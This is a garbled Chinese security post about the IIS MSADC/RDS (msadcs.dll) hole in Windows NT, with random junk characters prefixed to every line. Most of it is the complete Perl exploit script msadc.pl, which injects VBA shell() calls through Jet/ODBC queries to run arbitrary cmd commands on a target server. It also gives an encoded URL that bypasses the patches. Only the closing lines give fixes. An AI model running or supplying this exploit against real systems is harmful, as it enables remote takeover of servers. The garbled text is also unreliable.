IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
W}1
;Z(.* =I~mKn 涉及程序：
E .>4C[O Microsoft NT server
2Hv+W-6v YAmb `CP 描述：
>"<Wjr8W!$ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
3yX Y.>' EZ`{W nbq 详细：
{}Za_(Y,] 如果你没有时间读详细内容的话，就删除:
s|ITsz0,td c:\Program Files\Common Files\System\Msadc\msadcs.dll
b_):MQ1{ 有关的安全问题就没有了。
xP ,hTE F sryEHz 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Qw)c $93 < d_!mKw 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
@OHm#`~ 关于利用ODBC远程漏洞的描述，请参看:
$tS}LN_!
}iuw5dik+ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm I!?}jo3 &!
?eL 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
+d;bjo 2 http://www.microsoft.com/security/bulletins/MS99-025faq.asp PiYxk +N Wxe0IXq3Nn 这里不再论述。
e 3TI|e_ &8 x -o, 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
yvYa d vZoaT|3
G] /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
w1DV\Ap* 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
} >X~ O1mK e%'| L,@lp #将下面这段保存为txt文件，然后: "perl -x 文件名"
xZv# Es%# ?3xzd P #!perl
'08=yqy4N #
I
2|Bg,e # MSADC/RDS 'usage' (aka exploit) script
^v`\x5"Vp #
r$~HfskeI # by rain.forest.puppy
6i~WcAs #
&9)\wnOS # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Ez =Olbk # beta test and find errors!
#
4PVVu< &pp|U} use Socket; use Getopt::Std;
:[!j?)%> getopts("e:vd:h:XR", \%args);
abLnI =W` zI<<Q2 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
8pgEix/M5o y;H-m>*% if (!defined $args{h} && !defined $args{R}) {
iW /}# print qq~
ox (%5c)b| Usage: msadc.pl -h <host> { -d <delay> -X -v }
d;}nh2* -h <host> = host you want to scan (ip or domain)
{jX2} -d <seconds> = delay between calls, default 1 second
Per1IcN -X = dump Index Server path table, if available
>J>[& z S -v = verbose
H+Sz=tg 5 -e = external dictionary file for step 5
3;s\OW` A$:U'ZG_ Or a -R will resume a command session
j ?(&# ^M>P: ~ ~; exit;}
KMjhZap% R!N%o~C 2- $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
\)?H J if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
"!%l/_p? if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
P(z+ +A& if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
1HZO9cXJ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
';=O 0)u if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
=rCIumqD-} pD#rnp>WWt if (!defined $args{R}){ $ret = &has_msadc;
[mGLcg6Fw die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
M1iS(x 8eHyL print "Please type the NT commandline you want to run (cmd /c assumed):\n"
s6^ >F/x . "cmd /c ";
}d}Ke_Q0 $in=<STDIN>; chomp $in;
vTzlwK\#1 $command="cmd /c " . $in ;
$@"g^,n ^RtIh-Z.9 if (defined $args{R}) {&load; exit;}
RuVGG) <3C*Z"aQ>| print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
^qD$z=z - &try_btcustmr;
cq /$ N Y\?"WGL)p print "\nStep 2: Trying to make our own DSN...";
FE|JHh$ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
@wNG{Stj 6MMOf\
print "\nStep 3: Trying known DSNs...";
BeoDKdAwY &known_dsn;
JHTSU q o= "M print "\nStep 4: Trying known .mdbs...";
-fHy -Oh &known_mdb;
8&`L Ydzt J,y[[CdH` if (defined $args{e}){
wyO4Y print "\nStep 5: Trying dictionary of DSN names...";
}oGA-Qc }B &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
U /l&tmIVY V/I<g print "Sorry Charley...maybe next time?\n";
<s<n exit;
S2GxV/E x Bi' X ##############################################################################
.MoU1n{Yc ")XHak.JX sub sendraw { # ripped and modded from whisker
~;{; ,8!) sleep($delay); # it's a DoS on the server! At least on mine...
!_'ur>iR my ($pstr)=@_;
' =8d?aeF socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
'XP7"
N47O die("Socket problems\n");
MJ
[m if(connect(S,pack "SnA4x8",2,80,$target)){
LR.<&m%~. select(S); $|=1;
41?HY{&2 print $pstr; my @in=<S>;
/zVOK4BqN+ select(STDOUT); close(S);
B; h"lv return @in;
.jT#:_ } else { die("Can't connect...\n"); }}
9c,'k#k N.{H,oO ` ##############################################################################
Jgd'1'FOs ++ Ts sub make_header { # make the HTTP request
8 _B4?` k my $msadc=<<EOT
;dZZ;#k% POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
RF53J yt User-Agent: ACTIVEDATA
=BAW[%1b Host: $ip
ryUQU^v Content-Length: $clen
,,Q O^j]4~ Connection: Keep-Alive
peuZ&yK+" 'UX!*5k<: ADCClientVersion:01.06
[H^z-6x:0 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
9oR@U W1 ;1O_M9 --!ADM!ROX!YOUR!WORLD!
tKx~1- Content-Type: application/x-varg
gS]@I0y8
. Content-Length: $reqlen
ZWU)\}}_R n QZwC
EOT
, I (d6 ; $msadc=~s/\n/\r\n/g;
/quc}"__ return $msadc;}
gANuBWh8T J^5So ##############################################################################
e9 5Lo+:f
?2{Gn-{ sub make_req { # make the RDS request
&L Zn
FR my ($switch, $p1, $p2)=@_;
{xB!EQ" my $req=""; my $t1, $t2, $query, $dsn;
s.N/2F& *W Pz |>"' if ($switch==1){ # this is the btcustmr.mdb query
zFw s:_ i $query="Select * from Customers where City=" . make_shell();
I%X6T@P $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
j2.|ln"! $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
O{G?;H$ YPK(be_|I elsif ($switch==2){ # this is general make table query
=llvuUd\n $query="create table AZZ (B int, C varchar(10))";
pF:$
ko $dsn="$p1";}
j9 4=hJVKi ;jvBF4Lb> elsif ($switch==3){ # this is general exploit table query
l2rd9 -T $query="select * from AZZ where C=" . make_shell();
#;q dY [v $dsn="$p1";}
lN?qp'%H` lC("y'
:: elsif ($switch==4){ # attempt to hork file info from index server
#+ HJA4 2 $query="select path from scope()";
`nv~NLkl $dsn="Provider=MSIDXS;";}
" H&W}N \lf;P?M^ elsif ($switch==5){ # bad query
# 9}D4i.`} $query="select";
u#;7<.D $dsn="$p1";}
(%e .:W${ T?soJ]A $t1= make_unicode($query);
?2 ;&O `x* $t2= make_unicode($dsn);
ag#S6E^%S $req = "\x02\x00\x03\x00";
8 Pn#+IvCE $req.= "\x08\x00" . pack ("S1", length($t1));
%x{kc3PnO $req.= "\x00\x00" . $t1 ;
m=A(NKZ
$req.= "\x08\x00" . pack ("S1", length($t2));
>G*eNn $req.= "\x00\x00" . $t2 ;
foF({4q7b^ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
](9Xvy return $req;}
@qqg e' wh\}d4gN ##############################################################################
2"kL dD YY((V@|K sub make_shell { # this makes the shell() statement
7BjJhs return "'|shell(\"$command\")|'";}
(Hz ^)5(~ ZaDyg"Tw+ ##############################################################################
{ MSkHf= X!Mx5fg sub make_unicode { # quick little function to convert to unicode
}=UHbU.n~! my ($in)=@_; my $out;
E$:*NSXj for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
W*4-.*U8a return $out;}
o"Euwh!!
M7a.8-!1 ##############################################################################
U; V7 u/{ djQH1^ (IU sub rdo_success { # checks for RDO return success (this is kludge)
4(~L#}:r! my (@in) = @_; my $base=content_start(@in);
Y. 5_6'Eo? if($in[$base]=~/multipart\/mixed/){
gsv uE return 1 if( $in[$base+10]=~/^\x09\x00/ );}
a 3b/e8c return 0;}
Lh"<XYY f/NH:1)y ##############################################################################
iNz=e=+Si 3n1;G8Nf sub make_dsn { # this makes a DSN for us
]Svt`0|} my @drives=("c","d","e","f");
1 N^[.= print "\nMaking DSN: ";
z8~NZ;A foreach $drive (@drives) {
#`iB`| print "$drive: ";
.hP D$o my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
ARVf[BAJ-* "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
2d(e:r h] . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
w d^': $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
;%5N%0, return 0 if $2 eq "404"; # not found/doesn't exist
YTpSHpf@ if($2 eq "200") {
ia~HQ$'+n foreach $line (@results) {
:P\7iW return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Ic:(Gi- % } return 0;}
dvx#q5f_S }DE g-j,F ##############################################################################
WZejp}x e7r -R3_ sub verify_exists {
9ni1f {k my ($page)=@_;
C'@i/+ my @results=sendraw("GET $page HTTP/1.0\n\n");
Ae^~Cz1qz return $results[0];}
3 !Ij;$ t r3! d_ ##############################################################################
?|C2*?hZ+ %lx!. G sub try_btcustmr {
@* jz
o my @drives=("c","d","e","f");
e&F8m%t my @dirs=("winnt","winnt35","winnt351","win","windows");
vnt%XU,,Y 5 +YH.4R foreach $dir (@dirs) {
]^n7
print "$dir -> "; # fun status so you can see progress
N1S{ suic foreach $drive (@drives) {
{G0T$,'DR print "$drive: "; # ditto
Oo8VeRZ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
&yT qZ*Yuk $reqlenlen=length( "$reqlen" );
p* (JjH $clen= 206 + $reqlenlen + $reqlen;
Lpz>>} S6M}WR^, my @results=sendraw(make_header() . make_req(1,$drive,$dir));
?.-wnz if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
n;Q7X>-f8` else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
K?Nhi^f"L :&rt)/I ##############################################################################
H8zK$! \*y-g@-{W$ sub odbc_error {
V-2(?auZd my (@in)=@_; my $base;
b-?gw64# my $base = content_start(@in);
sPQQ"|wU if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
) 0W{]2 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
xJv m hN/c $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
L>NL:68yN $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
|A9F\A->4 return $in[$base+4].$in[$base+5].$in[$base+6];}
x8\?}UnB print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
y`5
9A print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Jr!JHC9i $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
D~iz+{Q4 Uh4%}-; ##############################################################################
!bx;Ta. e8!5 I,I sub verbose {
8oseYH my ($in)=@_;
")5":V~fN return if !$verbose;
Al^d $FaF print STDOUT "\n$in\n";}
l
-m fFN {n.PF8A5X ##############################################################################
El".I?E* 7 \[@ m3s sub save {
M}- Rzc my ($p1, $p2, $p3, $p4)=@_;
|?xN\O^#} open(OUT, ">rds.save") || print "Problem saving parameters...\n";
t%FwXaO# print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
G]tn i close OUT;}
SrJGTuXg be Ga#JH, ##############################################################################
Rz/gtEP P [ck84F/ sub load {
P {jbl!UD7 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
{.|CdqwY open(IN,"<rds.save") || die("Couldn't open rds.save\n");
I@~QV@U @p=<IN>; close(IN);
B eo@K|3GN $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Tc:)-
z[o $target= inet_aton($ip) || die("inet_aton problems");
@4#c&h 3 print "Resuming to $ip ...";
({)+3]x $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
fc3{sZE2M if($p[1]==1) {
[;yOBF $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
W:n ef<WH $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
.bg~>T+< my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
\fd v]f if (rdo_success(@results)){print "Success!\n";}
D|p9qe5% else { print "failed\n"; verbose(odbc_error(@results));}}
9};8?mucr elsif ($p[1]==3){
y u|8_<bq if(run_query("$p[3]")){
FUb\e-Q= print "Success!\n";} else { print "failed\n"; }}
Y%^w:|f^ elsif ($p[1]==4){
!zpRrx _ if(run_query($drvst . "$p[3]")){
]Sz:|%JP1 print "Success!\n"; } else { print "failed\n"; }}
MYvY]Jx3 exit;}
'ya{9EdlT yYYSeH ##############################################################################
E GS) b (gU!=F?#m sub create_table {
T/~f~Z z my ($in)=@_;
B ahm]2 $reqlen=length( make_req(2,$in,"") ) - 28;
j0aXyLNX $reqlenlen=length( "$reqlen" );
k5e;fA/w $clen= 206 + $reqlenlen + $reqlen;
]^7@}Ce_ my @results=sendraw(make_header() . make_req(2,$in,""));
^|(LAjet return 1 if rdo_success(@results);
5d^sA;c my $temp= odbc_error(@results); verbose($temp);
5m 4P\y^a return 1 if $temp=~/Table 'AZZ' already exists/;
=R|HV;9 h return 0;}
]|a g ,PW' #U: ##############################################################################
i)#d WFDTv i$#;Kpb`^ sub known_dsn {
O+]ZyHnB # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
gPO}d my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
KY I / "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
TDjm2R~9FS "banner", "banners", "ads", "ADCDemo", "ADCTest");
"m8^zg hL @n /nH ?L foreach $dSn (@dsns) {
~jk|4`I?T print ".";
$( kF# next if (!is_access("DSN=$dSn"));
"|q& ea rc if(create_table("DSN=$dSn")){
#q $HQ&k print "$dSn successful\n";
ZJJY8k ` if(run_query("DSN=$dSn")){
hWLA<wdb print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
lgy <? LI\ print "Something's borked. Use verbose next time\n";}}} print "\n";}
@Uvz8* b6 tSUEZ62EY ##############################################################################
5L n,{vsv I;(L%TT ` sub is_access {
1n8/r}q'H my ($in)=@_;
[ l??A3G $reqlen=length( make_req(5,$in,"") ) - 28;
9;u@q%;!k $reqlenlen=length( "$reqlen" );
?e4YGOe. $clen= 206 + $reqlenlen + $reqlen;
t %)7t9j my @results=sendraw(make_header() . make_req(5,$in,""));
@b%=H/5\ my $temp= odbc_error(@results);
bsli0FJSh' verbose($temp); return 1 if ($temp=~/Microsoft Access/);
_J#zY- j return 0;}
lfgq =8 d |syR6(U} ##############################################################################
.`H5cuF` lrE 5^;/s1 sub run_query {
1R%.p7@5QU my ($in)=@_;
Pmx -8w $reqlen=length( make_req(3,$in,"") ) - 28;
)2o?#8J $reqlenlen=length( "$reqlen" );
O 8r|8]o $clen= 206 + $reqlenlen + $reqlen;
pah'>dAL my @results=sendraw(make_header() . make_req(3,$in,""));
b_taC ^-l return 1 if rdo_success(@results);
|>^JRx my $temp= odbc_error(@results); verbose($temp);
Dml;#'IF3 return 0;}
#:_Kws>+ _;y9$"A ##############################################################################
Dx?,=~W9 d7 y[0<xM sub known_mdb {
Bk c4 TO my @drives=("c","d","e","f","g");
>Cp0.A:UC# my @dirs=("winnt","winnt35","winnt351","win","windows");
2l'6. my $dir, $drive, $mdb;
jB2[( my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
v{ 4$D~I g:@#@1rB6 # this is sparse, because I don't know of many
F/ {!tx my @sysmdbs=( "\\catroot\\icatalog.mdb",
b8t7 u "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
q e#tj/aZ "\\system32\\certmdb.mdb",
RtS+<^2a; "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
? OM!+O 1CZgb my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
T7%S
#0,p "\\cfusion\\cfapps\\forums\\forums_.mdb",
6d }lw6L "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
/{_:{G!Q0 "\\cfusion\\cfapps\\security\\realm_.mdb",
V}CG:9; "\\cfusion\\cfapps\\security\\data\\realm.mdb",
cuI TY^6 "\\cfusion\\database\\cfexamples.mdb",
K69'6?# "\\cfusion\\database\\cfsnippets.mdb",
h438` "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
mq.`X:e "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
7n<{tM "\\cfusion\\brighttiger\\database\\cleam.mdb",
r l% "\\cfusion\\database\\smpolicy.mdb",
FW4<5~'
"\\cfusion\\database\cypress.mdb",
~<bZ1TD "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
\M^bD4';> "\\website\\cgi-win\\dbsample.mdb",
rM%1GPV ob "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
4+8@`f>s "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
f$$ /H>MJ ); #these are just
{;1\+ f foreach $drive (@drives) {
H7n>Vx:L- foreach $dir (@dirs){
Q)h(nbbVak foreach $mdb (@sysmdbs) {
C1)!f j= print ".";
J
ZS:MFA if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
r#a=@ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
oG\Vxg* if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
2[W&s& print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
a;+9mDXx: } else { print "Something's borked. Use verbose next time\n"; }}}}}
8nV+e~ -w "!^"[mX4 foreach $drive (@drives) {
CA~- rv foreach $mdb (@mdbs) {
q<1 ~ vA9 print ".";
73;GW 4, if(create_table($drv . $drive . $dir . $mdb)){
_Fl9>C"u print "\n" . $drive . $dir . $mdb . " successful\n";
7?_CcRe if(run_query($drv . $drive . $dir . $mdb)){
L="}E rmK print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
W|mo5qrLS2 } else { print "Something's borked. Use verbose next time\n"; }}}}
m-, x<bM? }
P JH& 3]S$ih&A ##############################################################################
gM: " .Ee q 2E_ A sub hork_idx {
;.980+i1 print "\nAttempting to dump Index Server tables...\n";
;e *!S}C, print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
%h!B^{0 $reqlen=length( make_req(4,"","") ) - 28;
sO@Tf\d $reqlenlen=length( "$reqlen" );
zrb}_ $clen= 206 + $reqlenlen + $reqlen;
B]tQ(s ~ my @results=sendraw2(make_header() . make_req(4,"",""));
O\ r0bUPE if (rdo_success(@results)){
(jE9XxQY my $max=@results; my $c; my %d;
6i/(5 nQ for($c=19; $c<$max; $c++){
26h21Z16q $results[$c]=~s/\x00//g;
b ]KBgZ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
R\[e!g*I $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
sPIn| d $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
FZn w0tMq $d{"$1$2"}="";}
3!]rmZ-W foreach $c (keys %d){ print "$c\n"; }
(Gf Z* } else {print "Index server doesn't seem to be installed.\n"; }}
=Xr.'(U KZf+MSq?
B ##############################################################################
Q~Wqy~tS s$j,9uRr sub dsn_dict {
WNt W|I V open(IN, "<$args{e}") || die("Can't open external dictionary\n");
ww1[rCh\+ while(<IN>){
]/L0,^RI $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
<e6#lFQqK next if (!is_access("DSN=$dSn"));
OneY_<*a< if(create_table("DSN=$dSn")){
D&y7-/ print "$dSn successful\n";
K}Qa~_ if(run_query("DSN=$dSn")){
vFmZ<C'
) print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
3bI9Zt#J%& print "Something's borked. Use verbose next time\n";}}}
es7=%!0 print "\n"; close(IN);}
& oMh]Z*: "w<#^d_6 ##############################################################################
kAUymds;O ef4 i :. sub sendraw2 { # ripped and modded from whisker
~P-mC@C sleep($delay); # it's a DoS on the server! At least on mine...
CrTw@AW9) my ($pstr)=@_;
p!%pP}I socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
G3T]`Atf die("Socket problems\n");
-Q Nh if(connect(S,pack "SnA4x8",2,80,$target)){
~k5W@`"W print "Connected. Getting data";
YoFxW5by open(OUT,">raw.out"); my @in;
Q7CsJzk~) select(S); $|=1; print $pstr;
Q"#J6@ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
}jPSUdo close(OUT); select(STDOUT); close(S); return @in;
C0Z=~Q% } else { die("Can't connect...\n"); }}
s eJ^s@H5l {' H(g[k ##############################################################################
:ShT|n7 f|g g sub content_start { # this will take in the server headers
aN3;`~{9 my (@in)=@_; my $c;
?a]mDx>xh for ($c=1;$c<500;$c++) {
B9S@(/"7 if($in[$c] =~/^\x0d\x0a/){
lyhiFkO
iH if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
A=0'Ks else { return $c+1; }}}
Vxt+]5X return -1;} # it should never get here actually
(Q B2T2x )+Pus~w ##############################################################################
lp8v0e4 W2!+z{:m sub funky {
A3 *!"3nU my (@in)=@_; my $error=odbc_error(@in);
%;!.n{X if($error=~/ADO could not find the specified provider/){
qqU 64E print "\nServer returned an ADO miscofiguration message\nAborting.\n";
hi[pVk~B) exit;}
5!9zI+S|=` if($error=~/A Handler is required/){
Flb&B1 print "\nServer has custom handler filters (they most likely are patched)\n";
xgtR6E^k exit;}
yB6?`3A: if($error=~/specified Handler has denied Access/){
-UT}/:a print "\nServer has custom handler filters (they most likely are patched)\n";
O#r%>;3* exit;}}
;dhQN }7 &%Tj/ Qx ##############################################################################
`M6)f?|$. cB&:z)i4 sub has_msadc {
oP.7/*p my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
ddR >7d}N my $base=content_start(@results);
Z 3!`J& return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Ek}A]zC return 0;}
9N3 e N tq?!-x +> ########################
TL#3;l^ +"VP-s0 )`D:F>p* 解决方案：
2J;g{95z 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
/C i<xmP 2、移除web 目录: /msadc
